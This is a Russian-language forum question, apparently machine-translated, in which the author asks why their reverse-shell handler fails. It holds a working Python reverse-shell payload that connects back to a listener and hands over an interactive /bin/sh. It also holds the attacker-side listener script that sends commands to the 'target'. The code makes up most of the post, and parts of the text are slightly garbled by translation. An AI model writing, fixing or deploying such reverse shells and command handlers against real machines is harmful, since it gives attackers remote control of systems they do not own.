Отправка команд с использованием сокетов и подпроцесса (обработка обратной оболочки) - PullRequest
0 голосов
/ 27 февраля 2020

Я пытаюсь сделать слушатель обратной оболочки, однако, отправка команд на цель не работает по какой-то причине, и я не могу получить ничего от цели, кроме первого сообщения: sh-3.2$, после отправив свою первую команду (любой текст), я хочу иметь возможность правильно обрабатывать обратную оболочку, отправлять команды и получать их выходные данные.

обратная оболочка (часть, которая подключается обратно к атакующему): * Слушатель 1004 *

import socket, subprocess, os 
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);'`

(часть, которая должна обрабатывать обратную оболочку):

import socket
import sys

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)




def main():
    create_socket()
    bind_socket()
    accept_socket()

# Creating a socket.
def create_socket():
    try:
        global s
    except socket.error as err:
        print(f"Something went wrong while creating the socket: {err}.")
        print("Exiting...")
        sys.exit()

# Binding the socket.
def bind_socket(ip='0.0.0.0',port=1234):
    try:
        global s
        s.bind((ip,port))
        s.listen(7)
        print(f'Listener is up on {ip}:{port}...')
    except socket.error as err:
        print(f"Something went wrong while binding the socket: {err}.")
        print("Exiting...")
        sys.exit()

# Accepting the incoming socket.
def accept_socket():
    try:
        client_socket, client_ip = s.accept()
        print(f'Connection from {client_ip} has been established!')
        client_socket.recv(1024).decode('utf-8')
        send_command(client_socket)
        client_socket.close()
    except OSError as err:
        print(f"Something went wrong while accepting the socket: {err}.")
        print("Exiting...")
        sys.exit()

# Sending commands to the target.
def send_command(client_socket):
    global s
    while True:
        command = input('')
        if (command.lower() == "exit"):
            client_socket.close()
            s.close()
            sys.exit(0)
        if str(command):
            try:
                client_socket.send(bytes(command,'utf-8'))
                client_received_data = client_socket.recv(1024).decode('utf-8')
                print(client_received_data)
            except socket.timeout as err:
                print(f'Connection Timedout" {err}')
                print("Exiting...")
                sys.exit()

main()
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...